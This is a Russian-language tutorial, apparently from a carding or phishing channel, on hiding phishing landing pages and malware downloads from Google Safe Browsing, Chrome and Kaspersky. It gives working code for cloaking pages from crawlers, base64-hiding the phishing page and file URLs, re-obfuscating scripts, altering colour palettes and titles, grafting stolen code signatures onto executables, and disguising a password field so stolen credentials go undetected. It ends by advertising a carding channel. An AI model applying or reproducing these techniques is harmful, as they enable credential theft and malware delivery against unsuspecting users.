Много интересного о защите Google
Пошаговое руководство с примерами кода, как спасти ваш лендинг от красного экрана счастья.
0. Что мы узнаем? Содержание
- Из чего состоит Google Safe Browsing
- Как выбрать подходящий домен
- Как создать правильный ssl-сертификат
- Как спрятать лендинг от краулера GSB
- Обновляем крипт js-файлов прошлого лендинга
- Как обойти детект на основе палитры сайта
- Как обойти детект Kaspersky
- Как обойти блокировку скачивания файла хромом
- Чем и как заменить форму ввода пароля
1. Что такое Google Safe Browsing?
Google Safebrowsing состоит из четырех частей:- встроенный в хром механизм определения фишинга на основе совпадения цветовых палитр и частей доменов ранее посещенных сайтов.
- механизм проверки url-адресов и хешей файлов на совпадение по предзагруженной базе укороченных хешей, хранящихся локально.
- механизм распаковки большинства типов ахривов, и проверки хешей исполняемых файлов и хешей их секций по локально хранящейся базе.
- краулер, который получает адреса скачанных файлов, проходится по ним, выкачивает и передает на сервера google для анализа их антивирусным движком, с использованием сервиса VirusTotal.
2. Нам нужен новый домен
Домену нужно дать отлежаться хотя бы неделю, т.к. зарегистрированным вчера доменам гугл не доверяет совсем. Имя домена не должно содержать:- брендовые слова
- брендовые слова с опечатками
- имена доменов, которые пользователь посещал ранее, такие как dhl, telegram, hsbc и им подобные.
3. Нам нужен ssl-сертификат для домена
Для этого привяжем домен к cloudflare.com. Все ssl-сертификаты при создании попадают в специальный фид, называемый certificate transparency log. Этот фид постоянно мониторят антивирусные компании. Посмотреть на него самим можно например здесь: https://certstream.calidog.io/. По-этому все сертификаты, выданные для доменов, содержаших брендовые слова или брендовые слова с опечатками моментально попадают в поле зрения антивирусных компаний, и ваш фишинг, размещенный на домене с опечаткой будет моментально помечен как вредоносный. Таким образом мы не можем заказать сертификат для брендового домена с опечаткой. Однако, cloudflare дает нам возможность бесплатно заказать wildcard сертификат. Это сертификат для всех сабдоменов домена, без указания конкретного имени сабдомена. Таким образом наш сабдомен с опечаткой в имени не будет замечен антивирусными компаниями.Вот как запись для wildcard-домена выглядит в настройках dns домена в cloudflare:
здесь 122.1.1.231 - ip-адрес нашего сервера
Теперь наш лендинг будет доступен, например, по адресу telegrarn.4bi.us.
4. Спрячем лендинг от краулера GSB
Краулер GSB (как и краулер GoogleAds) сделан на основе чистого движка Google Chrome с минимальными изменениями. Он запускается в headless-режиме и управляется через webdriver-протокол. По ip-адресу пытаться блокировать его бессмысленно, т.к. он использует прокси-сервера с домашними адресами. Но в headless-режиме у десктопной версии браузера Chrome выключается поддержка Notification API. По наличию поддержки этого api мы определим краулер и покажем ему белый сайт вместо вредоносного.Для начала мы создадим белый сайт-обманку.
Предположим, стартовая страница нашего фишинга называется index.php. Переименуем ее в home.php, а в тело страницы index.php положим код чистой (белой) страницы лендинга, купленной в телеграм-боте.
Теперь код стартовой страницы index.php выглядит примерно так:
![23a0b77c3017bab699615.png](https://telegra.ph/file/23a0b77c3017bab699615.png)
Чтобы пользователи видели не белый сайт, а нашу фишинг-страницу, добавим в head-секцию нашей стартовой страницы index.php следующий html-код:
Код:
<script>
home = 'L2hvbWUucGhw';
zones = /Madrid|Canary|Vienna|Istanbul/gi;
timezoneOffset = zones.test((new Intl.DateTimeFormat).resolvedOptions().timeZone);
self.Notification&&timezoneOffset&&fetch(atob(home)).then(
function(r){return r.text().then(function(t){document.write(t)})}
);
</script>
В этом коде мы делаем следующее:
- в переменной home мы спрятали адрес фишинг-страницы (home.php), закодировав его в base64 (например на сайте base64encode.net). Это необходимо потому, что краулер GSB извлекает из загружаемых им файлов все ссылки и пытается их скачать и проанализировать.
- для порядка мы отсекаем лишних пользователей на основе часового пояса, используемого их системой. Это не критически важный ход, но он убережет наш фишинг от лишних глаз. Вот таблица названий часовых поясов для интересующих нас стран: en.wikipedia.org/wiki/List_of_tz_database_time_zones. Если мы хотим лить на лендинг трафик, например, Германии, то заменим строчку zones = /Madrid|Canary|Vienna|Istanbul/gi; на строчку zones = /Berlin/gi; и таким образом отсечем всех пользователей (и краулеры) с другим часовым поясом, выбранном в настройках их системы.
- последним шагом мы проверяем поддержку notification api и, если у пользователя выбран подходящий нам часовой пояс, мы скачиваем содержимое файла home.php и замещаем его содержимым содержимое текущей страницы index.php.
![5b39e444215510ca4f194.png](https://telegra.ph/file/5b39e444215510ca4f194.png)
А все подходящие нам пользователи видят наш злой лендинг:
![3e8ca97c5b915dd63909c.png](https://telegra.ph/file/3e8ca97c5b915dd63909c.png)
Отлично. Идем дальше.
5. Перекриптуем все js-файлы из нашего прошлого лендинга
Краулер google проверяет и запоминает все js-файлы со страниц, определенных как вредоносные. По-этому перед началом работы нам обязательно нужно обфусцировать заново все js-файлы нашего лендинга. Для этого можно воспользоваться любым из многочисленных javascript-обфускаторов, например https://obfuscator.io/.6. Изменим цветовую палитру нашего лендинга
В браузер Chrome встроен механизм определения фишинговых сайтов на основе совпадения суммы всех пикселей страницы каждого цвета с палитрами сайтов, посещенных пользователем ранее. Изменить палитру цветов нашего лендинга мы можем в одну строчку javascript-кода, которую необходимо поместить в js-файл, загружаемый из <head> секции страницы home.php, для того, чтобы она была выполнена раньше, чем загрузится тело страницы. Вот эта строчка:
Код:
document.documentElement.style.cssText="filter:hue-rotate(4deg)";
Добавим ее в любой javascript-файл из <head> секции страницы, например в jquery.js:
7. Изменим оригинальный <title> страницы лендинга на любой другой
Антивирус Kaspersky проверяет совпадение содержимого тега <title> страницы с содержимым <title> страниц, посещенных пользователем ранее. Заменим, например:![d1a933aad298982532325.png](https://telegra.ph/file/d1a933aad298982532325.png)
на любой другой текст:
![be477a4baafdd201438c8.png](https://telegra.ph/file/be477a4baafdd201438c8.png)
8. Если с вашего лендинга скачивают файл
Адреса всех скаченных браузером Chrome файлов отправляются в google, и затем по этим адресам приходит краулер GoogleSafeBrowsing, скачивает файлы и анализирует их своим собственным антивирусным движком и на платформе virustotal.com. Хеши опасных файлов и секций исполняемых файлов хранятся в браузере Chrome локально. По-этому прежде всего нам необходимо использовать чистый файл. Так же хром будет блокировать скачивание файла, если:- В его имени содержатся брендовые слова. По-этому мы не можем дать файлу имя, например, FireFox_Installer.exe, а будем использовать нейтральное имя, например Installer.exe.
- Если скачивание файла не инициировано кликом пользователя (именно пользователя - метод .click() с помощью javascript нам не подходит)
- Если тип файла - исполняемый (или архив с файлом содержит исполняемые файлы), и при этом домен, с которого скачивается файл, не был посещен пользователем в последние 24 часа.
- Если тип файла - исполняемый (или архив с файлом содержит исполняемые файлы), и при этом файл не имеет цифровой подписи (хотя бы невалидной).
Какие файлы Chrome считает исполняемыми можно посмотреть вот здесь: https://source.chromium.org/chromiu...;drc=af17ad3f07c1d8a24381eb7669bec0c2ffb86521.
Сначала с помощью утилиты SigThief мы приклеим к нашему файлу любую цифровую подпись, взятую с любого подписанного выполняемого файла.
Чтобы предотвратить скачивание нашего файла краулером google, нам необходимо:
- отказаться от использования статичных адресов файла
- убрать из кода страницы адрес файла в чистом виде
- отдавать файл пользователю через эфимерный blob-url
Уберем из нее прямой адрес файла, например закодировав его в base64 любым из base64 энкодеров (например base64encode.net) и добавим для кнопки любой id, чтобы зацепиться за нее в javascript:
![f761b1586375accaf4cde.png](https://telegra.ph/file/f761b1586375accaf4cde.png)
Теперь в наш .js файл (в нашем примере это jquery.js) добавим код, который дождется полной загрузки DOM-дерева страницы и у всех ссылок с id="clickbtn" заменит адрес файла на временный blob-url:
Код:
document.addEventListener('DOMContentLoaded',function(e) {
document.querySelectorAll('#clickbtn').forEach(function(a,url) {
url = atob(a.href.split('/').slice(-1)[0]);
fetch(url).then(function(r){return r.blob()}).then(function(blob){
a.href = URL.createObjectURL(blob);
a.download = url.split('/').slice(-1)[0];
});
});
});
Теперь наш файл с javascript-кодом будет выглядеть примерно вот так:
![d3a5ad819a86d89b49cc5.png](https://telegra.ph/file/d3a5ad819a86d89b49cc5.png)
Теперь обфусцируем этот код с помощью obfuscator.io:
![fe24beee4d413f1d53b43.png](https://telegra.ph/file/fe24beee4d413f1d53b43.png)
Великолепно.
Пожалуйста не забывайте, что даже если архив с файлом защищен паролем, браузер Chrome все равно может видеть имена файлов в архиве, и понять, что архив содержит исполняемые файлы.
9. Если на вашем лендинге есть форма ввода пароля
Это уже сложнее. Прежде всего, Chrome заранее относится с подозрениям к html-страницам, содержащим поле ввода пароля или слово password на любом языке.Сначала избавимся от слов password на странице. Псевдо-элементы в css, такие как ::before или ::after не учавствуют в представлении DOM-дерева страницы и идеально подходят для нас. Уберем слово password из кода страницы, и выведем его с помощью css. Предположим, что наше слово password в коде страницы выглядит вот так:
![bb3cdc93fd1a7d12a44f7.png](https://telegra.ph/file/bb3cdc93fd1a7d12a44f7.png)
Уберем его, а на его место поставим любой строковый элемент с любым классом. Например span с классом pass:
![03c6eeda72fa088a9e26b.png](https://telegra.ph/file/03c6eeda72fa088a9e26b.png)
Теперь в любое место html-кода нашей страницы добавим следующий html-код:
Код:
<style>
.pass::before{content:"pass\08word"}
</style>
В данном случае мы добавили символ \08 (backspace), чтобы обфусцировать слово password и внутри блока стилей. И вот результат:
![03457730f041668ed2260.png](https://telegra.ph/file/03457730f041668ed2260.png)
![45d91320293625dbfab0d.png](https://telegra.ph/file/45d91320293625dbfab0d.png)
Избавимся от поля ввода пароля, заменив его на обычный <input type="text">.
Предположим, наше поле ввода пароля выглядит следующим образом:
![544d07d8f2a334bc5b168.png](https://telegra.ph/file/544d07d8f2a334bc5b168.png)
Заменим его на следующий код:
Код:
<div class="wrapper">
<input type="text" id="dots" class="form-control input ext-input text-box ext-text-box">
<input type="text" name="passwd" id="i0118" class="form-control input ext-input text-box ext-text-box">
</div>
![9dc2e7295829ba9776535.png](https://telegra.ph/file/9dc2e7295829ba9776535.png)
Мы заменили тип поля для ввода пароля с password на text, затем перед ним добавили такое же текстовое поле ввода с id="dots", и обернули оба поля в отдельный слой. Это необходимо чтобы изобразить натуральное поле ввода пароля. Первый input будет содержать только символы ●, изображая символы пароля по мере их ввода пользователем. Второй input будет наложен сверху на первый, иметь нулевую прозрачность, и передавать все набранные символы в первый input. Мы так же скопировали все классы от input с паролем в классы элемента input с жирными точками, чтобы сохранить оригинальное оформление. Теперь позаботимся о наложении второго поля для ввода на первое. Добавим в код нашей страницы следующие стили:
.wrapper {position:relative;}
.wrapper input[type=text] {position:absolute!important}
.wrapper #i0118 {opacity:0!important}
где в нашем примере #i0118 - это id оригинального поля для ввода пароля. Теперь наш css-код выглядит вот так:
![7ab4206763fff8319ce65.png](https://telegra.ph/file/7ab4206763fff8319ce65.png)
В приведенном выше коде значение position:relative у блока с классом wrapper необходимо чтобы позиционировать внутренние блоки абсолютно к родительскому элементу.
Теперь оживим поля ввода с помощью javascript. Добавим следующий код в любой из подключенных .js файлов (или прямо в тело страницы, предварительно обернув его тегом <script>):
Код:
document.addEventListener('DOMContentLoaded', function(e) {
i0118.onfocus = function(e){dots.value=dots.value||'|'}
i0118.onkeyup = function(e){dots.value=i0118.value.replace(/./g,'●')+'|'}
});
В приведенном выше коде i0118 - это id оригинального поля для ввода пароля, а dots - это id поля, изображающего пользовательский ввод. Теперь наш js-код выгдялит следующим образом:
![5a3eb6a44e27ad976f865.png](https://telegra.ph/file/5a3eb6a44e27ad976f865.png)
Если вы включали весь код в тело страницы, то теперь она выглядит примерно так:
![15bd4e1d9b10b121d756a.png](https://telegra.ph/file/15bd4e1d9b10b121d756a.png)
И вот наш итоговый результат:
![c5622f471fcad6ca50ba4.png](https://telegra.ph/file/c5622f471fcad6ca50ba4.png)
Поиграть с живым примером кода можно на jsbin.com: https://jsbin.com/mipoqoxeve/edit?html,output
![322212d82b255c0975690.png](https://telegra.ph/file/322212d82b255c0975690.png)
Отлично. Мы избавились от всех упоминаний слова password на странице, и убрали поле ввода пароля.
10. Готово.
Теперь, если мы проделали все шаги правильно, наш лендинг в полной безопасности:![ba4c43c6ee852d6d4901a.png](https://telegra.ph/file/ba4c43c6ee852d6d4901a.png)
Канал с полезной информацией о картинге - https://t.me/cardcompanyperexod
Мой контакт - @OTEC_CC